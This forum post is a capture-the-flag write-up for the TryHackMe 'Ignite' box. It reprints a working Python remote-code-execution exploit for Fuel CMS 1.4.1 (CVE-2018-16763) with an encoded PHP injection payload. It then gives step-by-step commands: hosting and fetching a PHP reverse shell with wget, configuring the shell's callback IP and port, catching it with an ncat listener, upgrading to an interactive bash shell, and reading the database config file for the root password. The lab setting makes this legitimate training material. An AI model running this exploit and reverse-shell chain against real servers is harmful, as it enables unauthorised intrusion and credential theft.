

Forum:[Hack Forums](#)

Thread: [\[Website\]Fuel CMS 1.4 Remote code execution: Using Python to gain control #6](#)

slober - April 20, 2020, 6:21 am

[Website] Remote code execution: Using Python to gain control #6

Another capture the flag challenge. This room is called Ignite and it runs the fuel CMS. This challenge revolves around a Remote code execution bug in their 1.4.1 version.

Its a quick example and should be easier than my previous CTF tutorial you can find this box on tryhackme.

Enough talking let's dive in and try to gain access!

Seems like a clean install of the Fuel cms version 1.4 at the end of the page are the default credentials and they do work just fine.

You can't really do much on the back end so I've decided to look around for some exploit that you could run on this version of the CMS.

And there is one! It'll allow us to run some code on the site and that is perfect for gaining access to the server.

I did, however, need to modify the code a bit. I had a different python version (Thony is my preferred IIDE btw for windows) so some tweaks were necessary.

I did, for example, need to put brackets around the print function and rename the urllib.quote to urllib.parse.quote.

It isn't hard to do. When it returns the error you can quickly see on what line it occurred maybe google it and solve it yourself it took me 1-2 min to fix this it shouldn't take a lot longer for you

In the end, my code looked like this.

Code fixes:

Code # Exploit Title: fuelCMS 1.4.1 - Remote Code Execution

Date: 2019-07-19

Exploit Author: 0xd0ff9

Vendor Homepage: <https://www.getfuelcms.com/>

Software Link: <https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1>

Version: <= 1.4.1

Tested on: Ubuntu - Apache2 - php5

CVE : CVE-2018-16763

```
import requests
```

```
import urllib
```

```
url = "http://10.10.17.103"
```

```
def find_nth_overlapping(haystack, needle, n):
```

```

start = haystack.find(needle)
while start >= 0 and n > 1:
    start = haystack.find(needle, start+1)
    n -= 1
return start

while 1:
    xxxx = input('cmd:')
    burp0_url =
url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%
73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.parse.quote(xxxx)+"%27%29%
2b%27"
    r = requests.get(burp0_url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print (r.text[0:dup])

```

I've also removed the Proxie fields it doesn't serve a purpose here. We don't need them in this example

We now do have a simple way to execute cmd commands and I want a shell.

I'm planning to do the following:

Place my shell in a folder on my computer (pentest monkey reverse PHP shell)

Create a webserver using python3 on my computer in the directory where the shell is located

Create a listener using ncat on my computer

Upload the shell to the target

Execute the shell

Creating the webserver

This code will create a small python3 webserver the directory it ran in is the default directory for the website this is pretty neat if you need a quick solution for uploading code to a target when it's vulnerable to it

Code `python3 -m http.server 80`

Creating the listener (it is important to include your IP or interface if you have multiple networks running)

The l stands for Listen and the v for verbose I like the extra output it provides for me

Code `ncat.exe -lv 10.8.6.162 4040`

Uploading the code to the server: it'll fetch the file from our server and it'll put it with the same filename in the directory where it is ran from in this case the main directory of the webserver

Code `wget http://[IP]/shell.php`

then I'm just navigating to the shell.php located on the victim this will open the connection to our ncat listener be sure you've edited the code in your shell properly and that you are listening on the right port

here is an example of the configuration:

PHP Code

```
<?php
$VERSION = "1.0";
$ip = '10.8.6.162'; // Your IP
$port = 7070;      // Port you're listening to
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

Al that is left to do now is to navigate to the page.
Code `http://IP/shell.php`

Tada the PHP shell has spawned. We can now type and execute command more easily

All we need to do now is to get ourselves a more decent shell experience we can't run all commands in this PHP shell and some commands will return some errors
we can spawn a shell by utilizing this small python snippet.

Code `python -c 'import pty; pty.spawn("/bin/bash")'`

Okay, we now have a shell and we can go on capturing the flags.

well, let's first gain root access. Most people are using their passwords everywhere. So there is a great chance that if we find a password it could be the same for their root account.

If we look at the landing page we find this interesting line
Code `fuel/application/config/database.php`

I'll navigate to there grab the file using `cat` and tada, root password grabbed!
`su root` to gain access enter the password and we're done!

I'm not sure what to do next I'll search for a nice CTF again which should include some different approaches. Please feel free to message me if you want something more specific. Thank you for reading.

You can find these boxes on <https://tryhackme.com/>.

Stay safe in these Corona days and let's hack these legal boxes to increase our knowledge of certain exploits!